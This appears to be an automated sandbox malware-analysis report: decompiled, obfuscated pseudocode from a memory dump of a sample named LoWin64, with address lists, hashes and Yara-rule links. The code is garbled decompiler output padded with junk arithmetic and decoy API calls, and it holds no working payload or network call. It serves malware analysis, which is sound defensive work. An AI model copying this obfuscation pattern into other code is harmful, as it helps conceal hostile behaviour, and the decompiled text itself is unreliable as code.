				void* _t248;
				void* _t251;
				void* _t254;
				void* _t257;
				void* _t260;
				signed long long _t263;
				void* _t266;
				signed long long _t271;
				void* _t274;
				void* _t277;
				void* _t280;
				void* _t283;
				void* _t286;
				void* _t295;
				void* _t298;
				void* _t301;
				void* _t304;
				void* _t307;
				void* _t310;
				void* _t313;
				void* _t319;
				void* _t324;
				signed long long _t331;
				signed long long _t342;
				void* _t345;
				signed long long _t348;
				void* _t354;

				_t212 = (_t209 - _t348 | _t342) + _t348;
				_t162 = _t212 - 0x13;
				if (_t162 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t212);
				if (_t162 >= 0) goto 0xb1ca7fc2;
				_t215 = (_t212 - _t348 | _t342) + _t348;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t162 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t215) & r14d) >= 0) goto 0xb1ca7fec;
				_t218 = (_t215 - _t348 | _t342) + _t348;
				if (_t218 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t218) & r14d) >= 0) goto 0xb1ca8005;
				_t221 = (_t218 - _t348 | _t342) + _t348;
				if (_t221 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t221) & r14d) >= 0) goto 0xb1ca8020;
				_t224 = (_t221 - _t348 | _t342) + _t348;
				 *0xb1decf60 = _t331;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t224);
				_t169 = E00007FF67FF6B1D3ACF4(_t224) & r14d;
				if (_t169 >= 0) goto 0xb1ca8046;
				_t227 = (_t224 - _t348 | _t342) + _t348;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t169 != 0) goto 0xb1ca805e;
				if (_t169 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t348;
				E00007FF67FF6B1D3ACF4(_t227);
				if (_t169 >= 0) goto 0xb1ca807a;
				_t230 = (_t227 - _t348 | _t342) + _t348;
				_t170 = _t230 - 0x3f;
				 *0xb1decf60 = _t331;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t230);
				if (_t170 >= 0) goto 0xb1ca80a0;
				_t233 = (_t230 - _t348 | _t342) + _t348;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t233;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t233);
				if (_t170 >= 0) goto 0xb1ca80d1;
				_t236 = (_t233 - _t348 | _t342) + _t348;
				 *0xb1decf60 = _t331;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t236);
				if (_t236 - 0x13 >= 0) goto 0xb1ca80f7;
				_t239 = (_t236 - _t348 | _t342) + _t348;
				_t172 = _t239 - 0x3f;
				if (_t172 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t239);
				if (_t172 >= 0) goto 0xb1ca810c;
				_t242 = (_t239 - _t348 | _t342) + _t348;
				_t147 = r15d & 0xffffff00 | _t242 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = _t331;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t242) & r14d) >= 0) goto 0xb1ca812d;
				_t245 = (_t242 - _t348 | _t342) + _t348;
				if (_t245 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t245) & r14d) >= 0) goto 0xb1ca8142;
				_t248 = (_t245 - _t348 | _t342) + _t348;
				if (_t248 != 0x7e) goto 0xb1ca8168;
				_t73 = E00007FF67FF6B1D3ACF4(_t248);
				_t74 = _t73 & r14d;
				if ((_t73 & r14d) >= 0) goto 0xb1ca8157;
				_t251 = (_t248 - _t348 | _t342) + _t348;
				r8d = r15d;
				r8b = _t251 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t74, _t158, _t324, _a144, _t345); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t147, _t324, 0, _t251, _t354), _t158, _a144);
				 *0xb1decf60 = _t348;
				E00007FF67FF6B1D3ACF4(_t251);
				E00007FF67FF6B1D3ACF4(_t251);
				asm("push es");
				_t254 = (_t251 - _t348 | 0xffffff80) + _t348;
				asm("movsd xmm6, [0x11694a]");
				_t180 = _t254 - 5;
				if (_t180 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t254);
				if (_t180 >= 0) goto 0xb1ca81e3;
				_t257 = (_t254 - _t348 | 0xffffff80) + _t348;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t180 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t257);
				if (_t180 >= 0) goto 0xb1ca820e;
				_t260 = (_t257 - _t348 | 0xffffff80) + _t348;
				if (_t260 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t260);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t263 = (_t260 - _t348 | 0xffffff80) + _t348;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t263;
				 *0xb1decf60 = _t348;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t183 = r12d - 0x42;
				if (_t183 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t263);
				if (_t183 >= 0) goto 0xb1ca8274;
				_t266 = (_t263 - _t348 | 0xffffff80) + _t348;
				_t184 = _t266 - 0x2e;
				if (_t184 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t266);
				if (_t184 >= 0) goto 0xb1ca828f;
				_t149 = r15d & 0xffffff00 | (_t266 - _t348 | 0xffffff80) + _t348 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t95 = E00007FF67FF6B1D3ACF4((_t266 - _t348 | 0xffffff80) + _t348);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t149;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t149;
				 *0x6b =  *0x6b + _t95;
				_t271 = _a168 + _t348;
				_a168 = _t271;
				 *0xb1decf60 = _t271;
				_t186 = _t271 - 0x1f;
				if (_t186 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t348;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t271 =  *_t271 | _t271;
				if (_t186 >= 0) goto 0xb1ca8308;
				_t274 = (_t271 - _t348 | 0xffffff80) + _t348;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t186 != 0) goto 0xb1ca8318;
				if (_t186 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t274) & r14d) >= 0) goto 0xb1ca8333;
				_t277 = (_t274 - _t348 | 0xffffff80) + _t348;
				if (_t277 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t277) & r14d) >= 0) goto 0xb1ca835e;
				_t280 = (_t277 - _t348 | 0xffffff80) + _t348;
				if (_t280 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t280);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t283 = (_t280 - _t348 | 0xffffff80) + _t348;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t283);
				if (_t283 - 0x34 >= 0) goto 0xb1ca8397;
				_t286 = (_t283 - _t348 | 0xffffff80) + _t348;
				_t194 = _t286 - 0x1f;
				if (_t194 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t286);
				if (_t194 >= 0) goto 0xb1ca83ac;
				_t195 = (_t286 - _t348 | 0xffffff80) + _t348 - 4;
				if (_t195 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t286 - _t348 | 0xffffff80) + _t348);
				if (_t195 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t197 = r13d - 0x54;
				if (_t197 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t197 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t348;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t348;
				IsIconic(??);
				asm("adc al, 0x0");
				_t295 = 0x50 + _t348;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t295);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t298 = (_t295 - _t348 | 0xffffff80) + _t348;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t298);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t301 = (_t298 - _t348 | 0xffffff80) + _t348;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t301);
				E00007FF67FF6B1D3ACF4(_t301);
				E00007FF67FF6B1D3ACF4(_t301);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t304 = (_t301 - _t348 | 0xffffff80) + _t348;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t348;
				E00007FF67FF6B1D3ACF4(_t304);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t307 = (_t304 - _t348 | 0xffffff80) + _t348;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t307);
				E00007FF67FF6B1D3ACF4(_t307);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t310 = (_t307 - _t348 | 0xffffff80) + _t348;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t310);
				E00007FF67FF6B1D3ACF4(_t310);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t313 = (_t310 - _t348 | 0xffffff80) + _t348;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t313);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t319 = ((_t313 - _t348 | 0xffffff80) + _t348 - _t348 | 0xffffff80) + _t348;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t138 = E00007FF67FF6B1D3ACF4(_t319);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t319 - _t348 | 0xffffff80) + _t348 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t138 & r14d;
			}

0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bae94dfa11f8e9c1077e2200414ae57c91e84303dbd0be051f6b803f335ba69f
Instruction ID: 9fd97c4f7174dd74149f0c86ca5a7f053d6680c6c358b6e61c47778a137f2d34
Opcode Fuzzy Hash: bae94dfa11f8e9c1077e2200414ae57c91e84303dbd0be051f6b803f335ba69f
Instruction Fuzzy Hash: 48517067F3C90A67F7115F2CAD492BA72A16F21609F740339D749E218ADF3CB5868248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA801A Relevance: 6.2, APIs: 4, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF67FF6B1CA801A(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t64;
				void* _t86;
				signed int _t129;
				signed int _t138;
				signed int _t140;
				void* _t149;
				signed int _t154;
				void* _t155;
				void* _t157;
				void* _t165;
				void* _t168;
				void* _t169;
				void* _t171;
				void* _t179;
				void* _t180;
				void* _t182;
				void* _t194;
				void* _t197;
				void* _t200;
				void* _t203;
				signed long long _t206;
				void* _t209;
				void* _t212;
				void* _t215;
				void* _t218;
				void* _t221;
				void* _t224;
				void* _t227;
				void* _t230;
				void* _t233;
				signed long long _t236;
				void* _t239;
				signed long long _t244;
				void* _t247;
				void* _t250;
				void* _t253;
				void* _t256;
				void* _t259;
				void* _t268;
				void* _t271;
				void* _t274;
				void* _t277;
				void* _t280;
				void* _t283;
				void* _t286;
				void* _t292;
				void* _t297;
				signed long long _t304;
				signed long long _t315;
				void* _t318;
				signed long long _t321;
				void* _t327;

				_t197 = (_t194 - _t321 | _t315) + _t321;
				 *0xb1decf60 = _t304;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t197);
				_t154 = E00007FF67FF6B1D3ACF4(_t197) & r14d;
				if (_t154 >= 0) goto 0xb1ca8046;
				_t200 = (_t197 - _t321 | _t315) + _t321;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t154 != 0) goto 0xb1ca805e;
				if (_t154 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t321;
				E00007FF67FF6B1D3ACF4(_t200);
				if (_t154 >= 0) goto 0xb1ca807a;
				_t203 = (_t200 - _t321 | _t315) + _t321;
				_t155 = _t203 - 0x3f;
				 *0xb1decf60 = _t304;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t203);
				if (_t155 >= 0) goto 0xb1ca80a0;
				_t206 = (_t203 - _t321 | _t315) + _t321;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t206;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t206);
				if (_t155 >= 0) goto 0xb1ca80d1;
				_t209 = (_t206 - _t321 | _t315) + _t321;
				 *0xb1decf60 = _t304;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t209);
				if (_t209 - 0x13 >= 0) goto 0xb1ca80f7;
				_t212 = (_t209 - _t321 | _t315) + _t321;
				_t157 = _t212 - 0x3f;
				if (_t157 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t212);
				if (_t157 >= 0) goto 0xb1ca810c;
				_t215 = (_t212 - _t321 | _t315) + _t321;
				_t138 = r15d & 0xffffff00 | _t215 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = _t304;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t215) & r14d) >= 0) goto 0xb1ca812d;
				_t218 = (_t215 - _t321 | _t315) + _t321;
				if (_t218 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t218) & r14d) >= 0) goto 0xb1ca8142;
				_t221 = (_t218 - _t321 | _t315) + _t321;
				if (_t221 != 0x7e) goto 0xb1ca8168;
				_t64 = E00007FF67FF6B1D3ACF4(_t221);
				_t65 = _t64 & r14d;
				if ((_t64 & r14d) >= 0) goto 0xb1ca8157;
				_t224 = (_t221 - _t321 | _t315) + _t321;
				r8d = r15d;
				r8b = _t224 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t65, _t149, _t297, _a144, _t318); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t138, _t297, 0, _t224, _t327), _t149, _a144);
				 *0xb1decf60 = _t321;
				E00007FF67FF6B1D3ACF4(_t224);
				E00007FF67FF6B1D3ACF4(_t224);
				asm("push es");
				_t227 = (_t224 - _t321 | 0xffffff80) + _t321;
				asm("movsd xmm6, [0x11694a]");
				_t165 = _t227 - 5;
				if (_t165 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t227);
				if (_t165 >= 0) goto 0xb1ca81e3;
				_t230 = (_t227 - _t321 | 0xffffff80) + _t321;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t165 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t230);
				if (_t165 >= 0) goto 0xb1ca820e;
				_t233 = (_t230 - _t321 | 0xffffff80) + _t321;
				if (_t233 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t233);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t236 = (_t233 - _t321 | 0xffffff80) + _t321;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t236;
				 *0xb1decf60 = _t321;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t168 = r12d - 0x42;
				if (_t168 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t236);
				if (_t168 >= 0) goto 0xb1ca8274;
				_t239 = (_t236 - _t321 | 0xffffff80) + _t321;
				_t169 = _t239 - 0x2e;
				if (_t169 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t239);
				if (_t169 >= 0) goto 0xb1ca828f;
				_t140 = r15d & 0xffffff00 | (_t239 - _t321 | 0xffffff80) + _t321 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t86 = E00007FF67FF6B1D3ACF4((_t239 - _t321 | 0xffffff80) + _t321);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t140;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t140;
				 *0x6b =  *0x6b + _t86;
				_t244 = _a168 + _t321;
				_a168 = _t244;
				 *0xb1decf60 = _t244;
				_t171 = _t244 - 0x1f;
				if (_t171 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t321;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t244 =  *_t244 | _t244;
				if (_t171 >= 0) goto 0xb1ca8308;
				_t247 = (_t244 - _t321 | 0xffffff80) + _t321;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t171 != 0) goto 0xb1ca8318;
				if (_t171 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t247) & r14d) >= 0) goto 0xb1ca8333;
				_t250 = (_t247 - _t321 | 0xffffff80) + _t321;
				if (_t250 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t250) & r14d) >= 0) goto 0xb1ca835e;
				_t253 = (_t250 - _t321 | 0xffffff80) + _t321;
				if (_t253 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t253);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t256 = (_t253 - _t321 | 0xffffff80) + _t321;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t256);
				if (_t256 - 0x34 >= 0) goto 0xb1ca8397;
				_t259 = (_t256 - _t321 | 0xffffff80) + _t321;
				_t179 = _t259 - 0x1f;
				if (_t179 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t259);
				if (_t179 >= 0) goto 0xb1ca83ac;
				_t180 = (_t259 - _t321 | 0xffffff80) + _t321 - 4;
				if (_t180 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t259 - _t321 | 0xffffff80) + _t321);
				if (_t180 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t182 = r13d - 0x54;
				if (_t182 < 0) goto 0xb1ca83d6;
				asm("push ss");
